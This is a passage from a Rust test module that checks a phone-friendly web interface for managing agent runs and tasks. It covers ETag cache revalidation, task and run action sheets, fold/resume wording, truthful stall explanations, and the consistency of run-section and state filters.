18169        );
18170
18171        // Front end: an unresolved successor must not carry the "finished
18172        // this work" note or the muted chip treatment.
18173        assert!(APP_JS.contains("latest.resolved"));
18174        // ...but the link to it shows as soon as it exists, labelled by state
18175        // and without the "finished" wording or the muted chip.
18176        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
18177        assert!(APP_JS.contains("Latest attempt: "));
18178        assert!(APP_JS.contains("in flight"));
18179        assert!(APP_JS.contains("not resolved"));
18180    }
18181
18182    #[tokio::test]
18183    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
18184        let fx = Fixture::start().await;
18185        // No cache header at all meant browsers invented their own policy,
18186        // and one did: a phone went on showing "Candidates must be folded
18187        // before deleting. Run `magi fold` first." - deleted two releases
18188        // earlier - from a deck that no longer contained the sentence. The
18189        // button it named was right there, and unreachable.
18190        let js = fx.get("/app.js").await;
18191        assert_eq!(js.status, 200);
18192        let tag = js
18193            .header("etag")
18194            .expect("an etag to revalidate against")
18195            .to_owned();
18196        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
18197        assert_eq!(
18198            js.header("cache-control"),
18199            Some("no-cache, must-revalidate"),
18200            "the phone has to ask every time"
18201        );
18202
18203        // And the asking has to be cheap, or `must-revalidate` just means
18204        // "send the whole interface on every load".
18205        let again = fx
18206            .get_with("/app.js", &[("if-none-match", tag.as_str())])
18207            .await;
18208        assert_eq!(
18209            again.status, 304,
18210            "a deck it already has costs one round trip"
18211        );
18212        assert!(again.body.is_empty(), "304 carries no body");
18213
18214        // A weakened tag from a proxy still matches; a different build does
18215        // not, which is the case that has to deliver the new interface.
18216        let weak = fx
18217            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
18218            .await;
18219        assert_eq!(weak.status, 304);
18220        let stale = fx
18221            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
18222            .await;
18223        assert_eq!(stale.status, 200, "an older build must be replaced");
18224        assert!(stale.body.contains("renderRunActions"));
18225    }
18226
18227    #[test]
18228    fn the_task_detail_has_an_actions_fab_and_sheet() {
18229        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
18230        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
18231        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
18232        // Shown only on the task route, closed everywhere else.
18233        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
18234        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
18235        // Refreshed whenever the detail redraws, including the loading state.
18236        assert!(APP_JS.contains("renderTaskActions(task);"));
18237        assert!(APP_JS.contains("renderTaskActions(null);"));
18238        // Same renderers and routes as the Queue card, no new endpoint.
18239        let sheet = APP_JS
18240            .find("function renderTaskActions")
18241            .expect("sheet renderer");
18242        let body = &APP_JS[sheet..sheet + 3000];
18243        assert!(body.contains("changePriority("));
18244        assert!(body.contains("openTaskEdit(task)"));
18245        assert!(body.contains("renderTaskHoldBox(host"));
18246        assert!(body.contains("renderTaskDoneBox(host"));
18247        assert!(body.contains("renderTaskDeleteBox(host"));
18248        assert!(APP_JS.contains("API.priority(id)"));
18249        assert!(APP_JS.contains("API.deleteTask(id)"));
18250        // A deleted task sends the operator back to the queue.
18251        assert!(APP_JS.contains("location.hash = \"#/queue\""));
18252        // A refusal is shown inside the sheet.
18253        assert!(APP_JS.contains("$(\"task-actions-error\")"));
18254    }
18255
18256    #[test]
18257    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
18258        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
18259        let actions = INDEX_HTML
18260            .find("id=\"run-actions-box\"")
18261            .expect("actions box");
18262        assert!(task < actions, "the task entry comes first in the sheet");
18263        assert!(APP_JS.contains("renderRunTaskEntry"));
18264        assert!(APP_JS.contains("\"Open task \""));
18265        // A run without a task says why there is nothing to open.
18266        assert!(APP_JS.contains("started directly, no task"));
18267        assert!(APP_JS.contains("sheet-task-link"));
18268        assert!(APP_JS.contains("task-chip-link"));
18269    }
18270
18271    #[test]
18272    fn the_deck_never_sends_the_operator_to_a_terminal() {
18273        // The whole point of the phone UI is that a terminal is not needed.
18274        // The delete control used to answer with "Run `magi fold` first."
18275        assert!(
18276            !APP_JS.contains("Run `magi fold` first"),
18277            "the deck must offer the fold, not prescribe a shell command"
18278        );
18279        assert!(APP_JS.contains("foldRun:"));
18280        assert!(APP_JS.contains("resumeRun:"));
18281        assert!(APP_JS.contains("renderRunActions"));
18282
18283        // Folding is destructive and armed in two steps, like deleting.
18284        assert!(APP_JS.contains("armedFold"));
18285        assert!(APP_JS.contains("Yes, fold worktrees"));
18286
18287        // And the copy has to say that the two actions are opposites, because
18288        // folding throws away exactly what a resume would continue from.
18289        assert!(APP_JS.contains("can no longer be resumed"));
18290    }
18291
18292    #[test]
18293    fn a_finished_run_explains_itself_with_its_own_last_line() {
18294        // The deck used to answer "why did this stop?" with a sentence chosen
18295        // by status alone. Run e633 stalled because two judges answered with
18296        // the wrong JSON shape and its card said "The panel collapsed on
18297        // agent quota" - with `quota: []` in the record and a quota-loss
18298        // counter right above it that correctly said nothing.
18299        assert!(
18300            !APP_JS.contains("collapsed on agent quota"),
18301            "a stall must not be explained by a cause the deck did not check"
18302        );
18303        assert!(
18304            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
18305            "and a block must not offer a guess with an `or` in it"
18306        );
18307
18308        // The reason it does have is `run.event`, which must reach finished
18309        // runs: gating it on movement hid the recorded truth at the one moment
18310        // the operator is reading the card to find out what happened.
18311        assert!(
18312            APP_JS.contains("setText(r.event, run.event || \"\")"),
18313            "the run's last line is rendered unconditionally"
18314        );
18315        assert!(
18316            !APP_JS.contains("moving && run.event"),
18317            "and never gated on the run still moving"
18318        );
18319
18320        // Quota keeps its own counter, fed by the number actually recorded.
18321        assert!(APP_JS.contains("lost to quota"));
18322    }
18323
18324    /// The runs tree (section) and the state chips (waiting/done) are two
18325    /// independent lenses ANDed together in `renderRuns`, and some pairings
18326    /// can never both be true for any run - every "Landed"/"Ended" run is
18327    /// done by construction, so pairing either with "Active" or "In flight"
18328    /// always rendered zero cards with the filter bar still claiming
18329    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
18330    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
18331    /// a handful of (waiting, status) shapes standing in for the run
18332    /// lifecycle, because `cargo test` cannot execute the front end.
18333    ///
18334    /// That stand-in list is itself the part that drifted twice in review:
18335    /// once shipped with `waiting: true` paired with a done status the
18336    /// lifecycle cannot produce, then over-corrected into treating every
18337    /// waiting run as never done - which made "Waiting on you" look
18338    /// incompatible with "Done" even for the one real, reachable shape
18339    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
18340    /// that combination. This test parses the shapes and the done-rule back
18341    /// out of `APP_JS`, reimplements `runSection` and the five state
18342    /// predicates independently in Rust, and checks the resulting
18343    /// section/filter compatibility table against the lifecycle rules by
18344    /// hand - so either direction of drift fails it again.
18345    #[test]
18346    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
18347        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
18348        let shapes_body_start =
18349            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
18350        let shapes_close = APP_JS[shapes_body_start..]
18351            .find("].map(")
18352            .expect("the shape list is closed by its done-computing .map(...)")
18353            + shapes_body_start;
18354        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
18355
18356        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
18357        for entry in shapes_src.split('{').skip(1) {
18358            let waiting = entry.contains("waiting: true");
18359            let dead = entry.contains("live: \"dead\"");
18360            let status_at =
18361                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
18362            let status_end = entry[status_at..]
18363                .find('"')
18364                .expect("the status string is closed")
18365                + status_at;
18366            let parked = entry.contains("display_status: \"parked\"");
18367            shapes.push((
18368                waiting,
18369                entry[status_at..status_end].to_string(),
18370                dead,
18371                parked,
18372            ));
18373        }
18374        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
18375
18376        // The done rule itself (`!["implementing"].includes(shape.status)`),
18377        // read out of the source rather than hardcoded, so a renamed
18378        // in-flight status can't silently make every parsed shape "done".
18379        let done_rule_marker = "done: !";
18380        let done_rule_at = APP_JS[shapes_close..]
18381            .find(done_rule_marker)
18382            .expect("the done rule follows the shape list")
18383            + shapes_close
18384            + done_rule_marker.len();
18385        let includes_at = APP_JS[done_rule_at..]
18386            .find(".includes(shape.status)")
18387            .expect("the done rule ends in .includes(shape.status)")
18388            + done_rule_at;
18389        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
18390            .trim()
18391            .trim_start_matches('[')
18392            .trim_end_matches(']')
18393            .split(',')
18394            .map(|s| s.trim().trim_matches('"'))
18395            .filter(|s| !s.is_empty())
18396            .collect();
18397
18398        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
18399            .into_iter()
18400            .map(|(waiting, status, dead, parked)| {
18401                let done = !not_done.contains(&status.as_str());
18402                (waiting, status, dead, parked, done)
18403            })
18404            .collect();
18405
18406        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
18407        // outright, then merged/ready land, stalled/blocked/failed/
18408        // verified_noop end, and everything else is still in flight.
18409        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
18410            if waiting {
18411                return "waiting";
18412            }
18413            if dead
18414                && !parked
18415                && !matches!(
18416                    status,
18417                    "merged"
18418                        | "ready"
18419                        | "stalled"
18420                        | "blocked"
18421                        | "failed"
18422                        | "verified_noop"
18423                        | "superseded"
18424                        | "already_in_base"
18425                )
18426            {
18427                return "stale";
18428            }
18429            match status {
18430                "merged" | "ready" => "landed",
18431                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
18432                | "already_in_base" => "ended",
18433                _ => "flight",
18434            }
18435        }
18436
18437        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
18438        // way.
18439        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
18440            match filter_key {
18441                "active" => !done,
18442                "flight" => !done && !waiting && !dead,
18443                "stale" => !done && !waiting && dead,
18444                "waiting" => waiting,
18445                "done" => done,
18446                "all" => true,
18447                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
18448            }
18449        }
18450
18451        let compatible = |section: &str, filter_key: &str| {
18452            shapes.iter().any(|(waiting, status, dead, parked, done)| {
18453                run_section(*waiting, status, *dead, *parked) == section
18454                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
18455            })
18456        };
18457
18458        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
18459        // (active, flight, stale, waiting, done, all) - hand-derived from the
18460        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
18461        // currently contains.
18462        let expected = [
18463            ("waiting", [true, false, false, true, true, true]),
18464            ("stale", [true, false, true, false, false, true]),
18465            ("flight", [true, true, false, false, false, true]),
18466            ("landed", [false, false, false, false, true, true]),
18467            ("ended", [false, false, false, false, true, true]),
18468        ];
18469        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
18470
18471        for (section, wants) in expected {
18472            for (filter_key, want) in filter_keys.iter().zip(wants) {
18473                assert_eq!(
18474                    compatible(section, filter_key),
18475                    want,
18476                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
18477                );
18478            }
18479        }
18480
18481        // The compatibility check exists only to be acted on: both pickers
18482        // must actually consult it rather than just render its answer.
18483        assert!(
18484            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
18485        );
18486        assert!(APP_JS.contains(
18487            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
18488        ));
18489        assert!(APP_JS.contains(
18490            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
18491        ));
18492    }
18493
18494    #[tokio::test]
18495    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
18496        // An operator-named directory - git checkout or not - is never
18497        // second-guessed, even when it does not exist at all: only the
18498        // flag's own unmodified `.` default is ever eligible for discovery.
18499        let dir = tempfile::tempdir().expect("tempdir");
18500        let explicit = dir.path().join("not-a-checkout");
18501        std::fs::create_dir_all(&explicit).expect("create dir");
18502        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
18503
18504        let missing = dir.path().join("does-not-exist-at-all");
18505        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
18506    }
18507
18508    #[test]
18509    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
18510        assert!(APP_JS.contains("function statsDonutArcs"));
18511        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
18512        // A bucket click filters by the statuses src/stats.rs counts in it.
18513        assert!(APP_JS.contains("function statusInBucket"));
18514        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
18515        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
18516        let buckets = [
18517            "merged",
18518            "ready",
18519            "in_progress",
18520            "blocked",
18521            "failed",
18522            "verified_noop",
18523            "superseded",
18524            "stalled",
18525        ];
18526        for key in buckets {
18527            let var = format!("--verdict-{key}:");
18528            // Light, OS-dark and pinned-dark blocks each define it.
18529            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
18530            assert!(
18531                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
18532                "{key}"
18533            );
18534        }
18535    }
18536}